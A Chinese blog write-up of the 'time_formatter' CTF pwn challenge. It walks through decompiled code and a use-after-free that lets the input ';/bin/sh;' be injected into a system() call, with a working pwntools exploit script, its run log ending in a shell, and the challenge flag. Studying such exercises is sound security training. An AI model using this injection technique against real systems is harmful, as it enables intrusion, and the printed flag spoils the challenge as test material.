攻防世界pwn高手进阶区-time_formatter

最新推荐文章于 2022-12-16 18:09:33 发布
最新推荐文章于 2022-12-16 18:09:33 发布
阅读量841 收藏 1
点赞数 1
分类专栏： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/CSDN_sunrise/article/details/109407332
版权

文章目录

time_formatter

伪代码

main函数

循环输出菜单并根据输入跳转执行不同功能。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __gid_t v3; // eax
  FILE *v4; // rdi
  __int64 v5; // rdx
  int v6; // eax

  v3 = getegid();
  setresgid(v3, v3, v3);
  setbuf(stdout, 0LL);
  puts("Welcome to Mary's Unix Time Formatter!");
  do
  {
    while ( 2 )
    {
      puts("1) Set a time format.");
      puts("2) Set a time.");
      puts("3) Set a time zone.");
      puts("4) Print your time.");
      puts("5) Exit.");
      __printf_chk(1LL, (__int64)"> ");
      v4 = stdout;
      fflush(stdout);
      switch ( get_number() )
      {
        case 1:
          v6 = set_time_format();
          break;
        case 2:
          v6 = set_time();
          break;
        case 3:
          v6 = set_time_zone();
          break;
        case 4:
          v6 = print_time((__int64)v4, (__int64)"> ", v5);
          break;
        case 5:
          v6 = free_and_exit();
          break;
        default:
          continue;
      }
      break;
    }
  }
  while ( !v6 );
  return 0LL;
}

get_number

int get_number()
{
  char s; // [rsp+8h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  return atoi(&s);
}

功能1–set_time_format

获得输入，申请内存空间，判断输入是否合法。

__int64 set_time_format()
{
  char *v0; // rbx

  v0 = get_format_malloc();
  if ( (unsigned int)valid_format(v0) )
  {
    ptr = v0;
    puts("Format set.");
  }
  else
  {
    puts("Format contains invalid characters.");
    free_ptr(v0);
  }
  return 0LL;
}

get_format_malloc

char *get_format_malloc()
{
  __int64 v0; // rdx
  __int64 v1; // rcx
  char s[1024]; // [rsp+8h] [rbp-410h]
  unsigned __int64 v4; // [rsp+408h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, (__int64)"%s");
  fflush(stdout);
  fgets(s, 1024, stdin);
  s[strcspn(s, "\n")] = 0;
  return malloc_ret_ptr(s, (__int64)"\n", v0, v1);
}

valid_format

_BOOL8 __fastcall valid_format(char *s)
{
  char accept; // [rsp+5h] [rbp-43h]
  unsigned __int64 v3; // [rsp+38h] [rbp-10h]

  strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
  v3 = __readfsqword(0x28u);
  return strspn(s, &accept) == strlen(s);
}

malloc_ret_ptr

char *__fastcall malloc_ret_ptr(const char *a1, __int64 a2, __int64 a3, __int64 a4)
{
  char *v4; // rax
  char *v5; // rbx
  __int64 v7; // [rsp-8h] [rbp-18h]

  v7 = a4;
  v4 = strdup(a1);
  if ( !v4 )
    err(1, "strdup", v7);
  v5 = v4;
  if ( getenv("DEBUG") )
    __fprintf_chk(stderr, 1LL, "strdup(%p) = %p\n", a1, v5);
  return v5;
}

strdup()

调用malloc()为变量分配内存，一般和free()成对出现，返回指向分配空间的指针。

功能2–set_time

获得一个大于0的输入作为时间。

__int64 set_time()
{
  int v0; // eax
  const char *v1; // rdi

  __printf_chk(1LL, (__int64)"Enter your unix time: ");
  fflush(stdout);
  v0 = get_number();
  v1 = "Unix time must be positive";
  if ( v0 >= 0 )
  {
    store_time = v0;
    v1 = "Time set.";
  }
  puts(v1);
  return 0LL;
}

功能3–set_time_zone

获得输入并申请内存空间，类似于功能1但输入没有要求。

__int64 set_time_zone()
{
  value = get_format_malloc();
  puts("Time zone set.");
  return 0LL;
}

功能4–print_time

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r8
  char command; // [rsp+8h] [rbp-810h]
  unsigned __int64 v6; // [rsp+808h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  if ( ptr )
  {
    __snprintf_chk(
      (__int64)&command,
      2048LL,
      1LL,
      2048LL,
      (__int64)"/bin/date -d @%d +'%s'",
      (unsigned int)store_time,
      (__int64)ptr,
      a3);
    __printf_chk(1LL, (__int64)"Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3);
    setenv("TZ", value, 1);
    system(&command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

__snprintf_chk()

函数原型：int snprintf(char* dest_str,size_t size,const char* format,…)

函数功能：

①将可变个参数(…)按照format格式化成字符串，然后将其复制到str中。

②如果格式化后的字符串长度 >= size，则只将其中的(size-1)个字符复制到str中，并给其后添加一个字符串结束符(’\0’)，返回值为欲写入的字符串长度。

若成功则返回预写入的字符串长度，若出错则返回负值。

snprintf_chk(
	  &command,
      2048LL,
      1LL,
      2048LL,
      "/bin/date -d @%d +'%s'",
      store_time,
      ptr,
      a3);

system(&command);

注意 /bin/date -d @%d +’%s’ ，%s代表ptr，ptr指向的内存保存的内容为功能1输入的字符串s，我们希望执行system("/bin/sh")，可以将ptr指向内存的内容修改为"/bin/sh"；但是此处执行system(&command)，而&command="/bin/date -d @%d +’%s’", 需要一些技巧。

在shell中的同一行中要想两条命令分别执行有两种方法：

①使用 && 连接

②使用 ; 连接。

但是在第一种方法下只有当 && 之前的命令执行成功后才能执行后一条命令， 而 ; 不受限制。

所以我们需要将"/bin/sh"的形式改为 “;/bin/sh” ，在前面多加了分号。

因为%s用了单引号，我们需要设法去掉单引号，只需额外增加单引号与 ‘%s’ 的前后单引号匹配即可。

所以最终的形式为 “’;/bin/sh’” ，而对应的&command="/bin/date -d @%d +’’;/bin/sh’’"

最终执行system(&command)时执行了两条命令，/bin/date -d @%d和/bin/sh。

功能5–free_and_exit

先free，再询问是否退出，可以use after free。

signed __int64 free_and_exit()
{
  signed __int64 result; // rax
  char s; // [rsp+8h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  free_ptr(ptr);
  free_ptr(value);
  __printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(&s, 16, stdin);
  result = 0LL;
  if ( (s & 0xDF) == 89 )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  return result;
}

payload说明

经分析，我们需要将ptr指向的内存内容修改为 “’;/bin/sh’” ，然后执行功能4–print_time来执行system(&command), 即需要借助某个函数将该字符串送入ptr指向的内存。

功能1–set_time_format可以对ptr操作，但是执行时会检查输入的字符串是否合法，很不幸，; 和 ’ 等都是非法的；功能3–set_time_zone对输入没有要求，可以选择功能3直接将目标字符串输入。

如果直接执行功能3会出现另外一个问题，当执行功能4输出时会提示"You haven’t specified a format!"，意思是你还没有设定一个格式，要求我们必须执行功能1，所以我们必须先执行一次功能1，而功能1不能输入目标字符串因为该字符串不合法，只能先随便输入一个合法字符串，之后就可以利用功能5释放内存但并不退出，再执行功能3输入目标字符串。

这么做是因为功能1申请的内存块(chunk)释放后放到了bin当中，而执行到功能3时需要申请同样大小的内存块(chunk)，就会优先考虑bin中的chunk，所以功能3分配的内存与之前功能1分配的内存是同一块。因为执行功能5时释放了内存但并没有把指针置为空，所以功能1的指针仍指向这一块内存，当最后执行功能4–print_time时就不会认为"You haven’t specified a format!"。

整体流程

依次执行操作说明
功能1–set_time_format输入一个合法字符串即可
功能5------free_and_exit释放功能1申请的内存但不退出
功能3-----set_time_zone将目标字符串"’;/bin/sh’"送入目标位置
功能4-----------print_time执行system(&command)

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content=0

def main():
	global p
	try:
		if content == 1:
			p = process("./time_formatter")
		else:
			p = remote("220.249.52.133", 33380)
	except:
		print("Error!")
	
	select_menu(1, 'AAA')
	select_menu(5, 'N')
	select_menu(3, ";/bin/sh;'")
	select_menu(4, '')

	p.interactive()
	
def select_menu(choice, payload):
	p.sendlineafter('5) Exit.\n> ', str(choice))
	if choice == 4:
		pass;
	else:
		p.recv()
		p.sendline(payload)		

main()


sun@sun-virtual-machine:~/Documents/pwn/02/time_formatter$ python exp.py
[+] Opening connection to 220.249.52.133 on port 33380: Done
[DEBUG] Received 0x7f bytes:
    "Welcome to Mary's Unix Time Formatter!\n"
    '1) Set a time format.\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x8 bytes:
    'Format: '
[DEBUG] Sent 0x4 bytes:
    'AAA\n'
[DEBUG] Received 0xb bytes:
    'Format set.'
[DEBUG] Received 0x59 bytes:
    '\n'
    '1) Set a time format.\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '5\n'
[DEBUG] Received 0x25 bytes:
    'Are you sure you want to exit (y/N)? '
[DEBUG] Sent 0x2 bytes:
    'N\n'
[DEBUG] Received 0x15 bytes:
    '1) Set a time format.'
[DEBUG] Received 0x43 bytes:
    '\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0xb bytes:
    'Time zone: '
[DEBUG] Sent 0xc bytes:
    "';/bin/sh;'\n"
[DEBUG] Received 0xe bytes:
    'Time zone set.'
[DEBUG] Received 0x59 bytes:
    '\n'
    '1) Set a time format.\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[*] Switching to interactive mode
[DEBUG] Received 0x18 bytes:
    'Your formatted time is: '
Your formatted time is: [DEBUG] Received 0x1c bytes:
    'sh: 1: /bin/date: not found\n'
sh: 1: /bin/date: not found
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x2c bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'time_formatter\n'
bin
dev
flag
lib
lib32
lib64
time_formatter
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{d1c86fbb96f1511e75376120bcf7cc31}\n'
cyberpeace{d1c86fbb96f1511e75376120bcf7cc31}
$ 
[*] Interrupted
Molly404
关注
专栏目录
攻防世界 time_formatter
10-25 571
1 题目 2 分析 首先，找到漏洞点： 通过构造command，我们可以执行系统命令。所以对于ptr，我们希望他是这样的:';/bin/sh;' 这样我们就能通过system方法执行/bin/sh。于是，接下来的工作就是如何让ptr等于我们需要的值。 需要注意。ptr，也就是time format，他的输入时有字符检查的： 可以看到，我们的“；”不在允许范围内，所以通过输入直接构建ptr是不可能的。 这道题目的突破点其实就在退出函数这里： 可以看到，退出函...
攻防世界 Pwn time_formatter
MrTreebook的博客
03-06 393
攻防世界 Pwn time_formatter1.checksec分析2.IDA分析menu在 print_your_time 找到有关system函数控制好参数ptr即可拿到权限输入限制UAF利用思路3.exp 1.checksec分析 2.IDA分析 menu puts("Welcome to Mary's Unix Time Formatter!"); do { while ( 2 ) { puts("1) Set a time format.");
[攻防世界 pwn]——time_formatter（内涵peak小知识）
Y_peak的博客
02-20 313
[攻防世界 pwn]——time_formatter 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道堆利用的题， UAFF(use After Free)漏洞。 peak小知识 堆空间释放后，指针不指向NULL，就仍指向该空间，并且重新申请的堆空间就是最先释放的堆空间 Linux中 echo “;ls;cat flag;/bin/sh;” ls ，cat flag , /bin/sh， 会挨个执行 老规矩还是先checksec一下 在IDA中查看一下反汇
XCTF PWN高手进阶区之time_formatter
neuisf的博客
01-29 357
这是第一道堆溢出题目， 程序执行选项1时，通过strdup函数申请了一块内存保存用户输入的时间格式字符串，执行选项三时，同样 通过strdup申请了一块内存用于存放用户输入的时区字符串，执行选项五时，首先释放这两块内存，然后，询问是否真的退出，此时，用户选择不退出时，程序继续回到开始执行。而此时，前两块申请的内存已被释放，未将指针置为NULL。造成UAF漏洞。 由于选项一读取用户输入内容时，会过滤...
攻防世界-PWN进阶区-echo_back(CISCN-2018-Quals)
weixin_44145820的博客
03-03 828
本题考查的是对格式化字符串漏洞的利用以及修改_IO_2_1_stdin来实现任意写 题目分析 checksec: 发现保护全开 源码分析： echo函数： 在该函数中有明显的格式化字符串漏洞，但是格式化字符串的长度有限制，最长只能为7，这使得许多利用格式化字符串进行任意内存写的方式不能使用，不过泄露信息还是能够做到的 对于信息泄露，首先我们需要获取libc的基地址，这样我们才能计算system...
攻防世界-PWN进阶区-EasyPwn(XCTF 4th-WHCTF-2017)
weixin_44145820的博客
03-04 1959
这题其实不算难，不过漏洞比较隐蔽，需要细心才能发现 题目分析 checksec： RELRO只是部分开启，考虑覆写GOT表 main: echo: 在该函数中存在一个溢出： v2的大小为1000（0x3E8），而我们的输入最大为0x438(输入缓冲区大小为0x400)，如果我们的输入大于0x3E8,就会覆盖了v3的内容(%s),而%s是snprintf在向v2写入数据时格式化写入的数据的，如...
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
weixin_44145820的博客
03-01 891
本题主要考察对堆的利用，需要有一定的背景知识，本文也参考了几篇大佬的Writeup，让本文尽可能详细。 题目分析 checksec: 本题的RELRO是完全开启的，意味着我们不能通过修改GOT表来进行攻击 以下是源代码： main函数 delete函数： 这里可以看到free之后没有把指针置空，可能有UAF或者Dubble Free edit函数： 在本函数中，没有检测大小就直接写入，明显...
Wi-PWN_8.0_ENGLISH.bin
08-25
ESP8266的WIFI杀手固件，这是不带显示的。 我后续更新带OLED显示的固件。教程后将更新。
攻防世界-PWN进阶区-welpwn(RCTF-2015)
weixin_44145820的博客
02-27 1071
题目分析 首先看一下开了哪些保护 因为开了NX，所以考虑使用ROP或者return-into-libc 用IDApro分析一下源代码 可以看出main函数中不存在注入点，我们看一下echo函数 在eho函数中，缓冲区至分配了0x10大小，但是传入的buf有0x400字节，因此可以看出存在溢出 不过拷贝遇到\x00就停止了，这个时候我们只能注入一个返回地址。 但是在ROPgadget里面能找到...
time_formatter [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列20
重新启程
12-25 854
题目地址：time_formatter 速度挺快的，已经赶上高手进阶区的第九题了！ 废话不说，看看题目先 可以看到星星已经到了三颗星了。表示有点不一样的地方了。 照例看下安全机制 [*] '/ctf/work/python/time_formatter/807522d1647f4f0b8b26d6c1530d72b7' Arch: amd64-64-little ...
2019XCTF攻防世界之萌新入坑（time_formatter）
weixin_44113469的博客
04-11 1930
time_formatter
堆UAF-攻防世界time_formatter
csdn546229768的博客
11-23 3408
终于来到了传说中的堆，这是攻防世界里面的堆第一次，刚遇到的时候有点懵逼，看了wp也看不懂，后来才知道是堆题。。。 嗯，我回来了，哈哈哈哈，首先详细了分析了一波题目，先把重要的函数例举出来 纵观全局在我菜鸟看来就只有个system(“asdadasd;/bin/sh;as21sad12e”);这个漏洞，因为system的参数由我们控制，所以就有无限可能，这里有两个全局变量，第一个被格式化为整型了，另一个是字符串类型，那么就是构造";/bin/sh;"的最好容器，嗯，如图：可以看到ida列出来对ptr
time_formatter攻防世界学习
shanwei274的博客
04-12 334
time_formatter 前言：这题说实话分析量蛮大的，首先是程序内壁比较绕，而且调用了之前许多没有见到的函数—如snprintf_che，以及strsup(好像打错了),getegid()，并且对于一般的题目考察堆的方向是比较少的。 还是学了一些东西吧。 废话不多说，开始吧： 1.查看保护 保护极高了已经！！！就很恐惧！！！ 2.运行收集信息 好家伙上来就报菜名嗷，更加恐惧了，不过有个提示嗷，一般报菜名的题目都是和堆有关的，至少我见的不多几道是这样。 3.ida查看 这里解释一些课外东西： 1.
ADworld pwn wp - time_formatter
fa1c4的blog
06-25 135
__int64 __fastcall main(int a1, char **a2, char **a3) { __gid_t v3; // eax int v4; // eax v3 = getegid(); setresgid(v3, v3, v3); setbuf(stdout, 0LL); puts("Welcome to Mary's Unix Time Formatter!"); do { while ( 2 ) { puts("1.
angr原理与实践（三）——Arbiter：一种弥合二进制程序漏洞发现中的静态和动态鸿沟
qq_40229814的博客
12-16 914
一款动静结合的二进制分析工具
snprintf函数用法
热门推荐
crfoxzl的专栏
01-23 14万+
int snprintf(char *restrict buf, size_t n, const char * restrict  format, ...);函数说明:最多从源串中拷贝n－1个字符到目标串中，然后再在后面加一个0。所以如果目标串的大小为n 的话，将不会溢出。函数返回值:若成功则返回欲写入的字符串长度，若出错则返回负值。Result1(推荐的用法)#include #
攻防世界 Pwn 进阶 第二页
yongbaoii的博客
02-18 659
00 为了形成一个体系，想将前面学过的一些东西都拉来放在一起总结总结，方便学习，方便记忆。 攻防世界 Pwn 新手 攻防世界 Pwn 进阶 第一页 01 4-ReeHY-main-100 超详细的wp1 超详细的wp2 03 format2 栈迁移的两种作用之一：栈溢出太小，进行栈迁移从而能够写入更多shellcode，进行更多操作。 栈迁移一篇搞定 有个陌生的函数。 C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2
PWN基础知识及基础栈溢出手法
山高路远
04-12 4043
一、pwntools常用函数 函数 用途 send(data) 发送数据（字符串形式发送） sendline(data) 发送一行数据，默认在行尾加 \n（字符串形式发送） recv(numb=1096,timeout=default) 接收指定字节数的数据 buf = p.recvuntil(“\n”, drop=True) 直到接收到\n为止，drop=True表示丢弃\n，buf为接收到的输出但不包括丢弃的\n recvrepeat(timeout=default) 接
攻防世界pwn-forgot
最新发布
08-10
很抱歉，但是我无法回答你的问题。我只能提供关于麦田怪圈的信息。123 #### 引用[.reference_title] - *1* [攻防世界pwn题：forgot](https://blog.csdn.net/m0_62396648/article/details/125134327)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] - *2* *3* [攻防世界：PWN刷题-forgot](https://blog.csdn.net/m0_53932372/article/details/122244244)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值